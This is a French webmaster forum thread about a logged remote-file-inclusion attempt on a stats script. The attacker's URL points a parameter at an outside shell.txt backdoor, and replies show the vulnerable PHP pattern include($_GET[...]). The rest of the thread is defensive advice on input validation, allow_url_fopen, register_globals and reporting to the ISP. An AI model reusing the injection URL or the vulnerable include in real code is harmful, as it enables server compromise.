Tentative de Hack ?

WRInaute discret
J'utilise un script de stats dont j'ai protégé le repertoire avec un htaccess. J'ai fait de sorte qu'une tentative infructueuse m'envoit un mail avec la page référente, la page ayant générée l'erreur, l'Ip du visiteur, l'IP de son FAi, sa résollution, etc.
Hier, pour la première fois je reçois un mail d'une tentative d'accès et voici l'url d'accès: -http://www.soninkara.org/ .../xxx.php?url_hit=http://gupl.org/mail/shell.txt?
Alors intrigué et inquiet je me suis rendu à cet adresse +http://gupl.org/mail/shell.txt et quelle n'a été ma surprise de voir une page PHP et mon antivirus qui me dit avoir bloqué le virus PHP.Backdoor.TROJAN.

Je suis convaincu que c'est une tentative de piratage. Je possède l'url du visiteur et c'est un abonné de Free. La même IP est apparue aujourdhui encore en voulant faire la même chose.
Une question: je voudrais dénoncer cette tentative, devrai-je la faire chez Free ou à la Police ?
Si des personnes peuvent m'indiquer sur la façon de procéder, ce sera sympa.
 
WRInaute discret
Il s'agit bien d'un pirate qui essaie de profiter d'une éventuelle faiblesse de ton site.

Il essaie d'executer le code php contenu dans son shell.txt à partir de ton site. Imagine que dans ta page php tu aies mis un code du genre:

<?php
include($_GET['url_hit']);
?>

Tu serais cuit car son code va être inclut et executé dans ton script.

Le remède: Ne JAMAIS utiliser une variable dans un include sans imposer des règles bien précises (exemple: lister toutes les possibilités que la variable peut prendre et tester à chaque fois si le contenu de la variable est valide). On peut aussi desactiver l'inclusion d'url distantes afin d'empêcher ce genre d'intrusions.
 
WRInaute impliqué
Sak a dit:
Une question: je voudrais dénoncer cette tentative, devrai-je la faire chez Free ou à la Police ?
Si des personnes peuvent m'indiquer sur la façon de procéder, ce sera sympa.

Pour ma part j'envoie une copie du mail à l'hébergeur sans m'attarder sur les détails et j'écris qq chose comme:
"mon moniteur de sécurité m'a averti d'une tentative d'intrusion sur mon site xy. le rapport indique que cette tentative provient de l'un de vos usagers (copie ci-joint, ip, email etc...). pourriez-vous faire le nécessaire auprès de votre client pour qu'il cesse ses agissements irréguliers ? ... je vous prie de m'avertir si vous ne parvenez pas à l'identifier afin que je puisse transmettre mes éléments aux services de police concernés."
 
WRInaute discret
ebe327 a dit:
Tu n’utilises pas par hasard AWSTAT, j’ai eu le même phénomène
Il s'agit du script Kietu?. Je viens de faire part au responsable du script la tentative de hack.
Je vais envoyer un mail à son FAI c'est à dire FREE et je vous tiendrais au courant.
Je remercie toute la communauté WRI.
 
WRInaute passionné
bigjet a dit:
lister toutes les possibilités que la variable peut prendre et tester à chaque fois si le contenu de la variable est valide
Pas toujours possible ... :(

bigjet a dit:
On peut aussi desactiver l'inclusion d'url distantes afin d'empêcher ce genre d'intrusions.
Comment tu mets ça en pratique ???
 
WRInaute discret
bigjet a dit:
On peut aussi desactiver l'inclusion d'url distantes afin d'empêcher ce genre d'intrusions.
Comment tu mets ça en pratique ???[/quote]
Je suis aussi preneur de cette solution.
Est ce via htaccess ?
8O
 
WRInaute discret
Après recherche, il paraît que les pirates cherchent des serveurs mal configurés ayant Register_Globals est à ON. Il ne s'agit pas d'une faille de sécurité de Kietu? mais plutôt d'une faille créée par la configuration serveur
Dans mon exemple, cela définira bien une variable $_GET['url_hit'] qui contiendra +http://gupl.org/mail/shell.txt
 
WRInaute discret
Sak a dit:
bigjet a dit:
On peut aussi desactiver l'inclusion d'url distantes afin d'empêcher ce genre d'intrusions.
Comment tu mets ça en pratique ???
Je suis aussi preneur de cette solution.
Est ce via htaccess ?
8O

Désolé de la réponse tardive.
Normalement ça se fait via le php.ini et c'est la variable allow_url_fopen qu'il faut mettre à off.
 
WRInaute passionné
bigjet a dit:
Normalement ça se fait via le php.ini et c'est la variable allow_url_fopen qu'il faut mettre à off.
C'est pour les dédiés ça ? En mutualisé, on ne peut pas modifier le fichier php.ini ... C'est peut-être déjà à cet valeur. Il y a moyen de le savoir ou pas ???

Merci quand même de ta réponse, ça peut toujours servir :wink:
 
WRInaute accro
oui tu peux le savoir via le phpinfo.
(une recherche sur la page phpinfo avec le nav.)

par contre ce qui m'intéresse c'est de savoir s'il est possible de désactiver la fonction via htaccess.
(ou même dans le code htaccess)
 
WRInaute accro
thierry8 a dit:
par contre ce qui m'intéresse c'est de savoir s'il est possible de désactiver la fonction via htaccess.
(ou même dans le code htaccess)
bon j'ai regardé, via htaccess je n'ai rien trouvé en revanche en php avec ini_set() on ne peut modifier cette variable de config.
 
WRInaute passionné
Ok, merci rog :wink:

Je viens de tester ça, et pas de bol, allow_url_fopen et Register_Globals sont sur "on". Mais je pense que ça doit être partout pareil sur les mutualisés ... :lol:
 
WRInaute accro
Pandore a dit:
Ok, merci rog :wink:

Je viens de tester ça, et pas de bol, allow_url_fopen et Register_Globals sont sur "on". Mais je pense que ça doit être partout pareil sur les mutualisés ... :lol:
oui Register_Globals est presque indispensable..

pour allow_url_fopen c'est en effet à on sur la plupart des hébergeurs.
mais comme l'a dit rog, si toutes les données entrantes sont bien gérées, il ne peut y avoir de problème. mais cette fonction est nécessaire et les hébergeurs ne peuvent priver les utilisateurs de cela (ceux qui parse des flux d'autres sites par exemple)
 
WRInaute accro
Pandore a dit:
bigjet a dit:
Normalement ça se fait via le php.ini et c'est la variable allow_url_fopen qu'il faut mettre à off.
C'est pour les dédiés ça ? En mutualisé, on ne peut pas modifier le fichier php.ini ... C'est peut-être déjà à cet valeur. Il y a moyen de le savoir ou pas ???

Merci quand même de ta réponse, ça peut toujours servir :wink:
Certains hébergeurs mutualisés (dont celeonet) te passent "Register_Globals" à "off" sur demande.
 
WRInaute passionné
defendre un script avec globals activé est dur

la il faut prevoir que toutes tes variables sont injectables et pour chaque variable déclarée tu dois evaluer les risques d'une injection

rog
 
WRInaute discret
Pandore a dit:
thierry8 a dit:
une recherche sur la page phpinfo avec le nav.
C'est-à-dire ??? Quelle page phpinfo ???
tu entres dans ton navigateur l'url de ton site www.lenomdedomaine.truc puis /phpinfo.php
Et ça te donne tout le détail de la configuration php sur ton serveur.
Ce qui m'a permis de vérifier qu'il y a bien allow_url_fopen On comme "local Value" et comme "Master Value.
C'est serveur mutu, donc phpini inaccessible. COmment je fais pour avoir allow_url_fopen OFF ?
Merci
 
WRInaute discret
Il avait effectivement compris, j'ai "posté" sans lire la suite...
Et mon hébergeur, merci, je lui ai déjà demandé, et la réponse est not possible. Comme l'a dit Rog un peu plus haut : "cette fonction est nécessaire et les hébergeurs ne peuvent priver les utilisateurs de cela (ceux qui parse des flux d'autres sites par exemple)".
Merci quand même, et hop je me remets à ma place, je lis et je la ferme... Ça m'apprendra a répondre moins vite que d'autres :roll:
 
WRInaute accro
aventvoy a dit:
Comme l'a dit Rog un peu plus haut : "cette fonction est nécessaire et les hébergeurs ne peuvent priver les utilisateurs de cela (ceux qui parse des flux d'autres sites par exemple)".
c'est moi qui est écris cela. tu as du mal ce matin ?! :D
 
Discussions similaires
Haut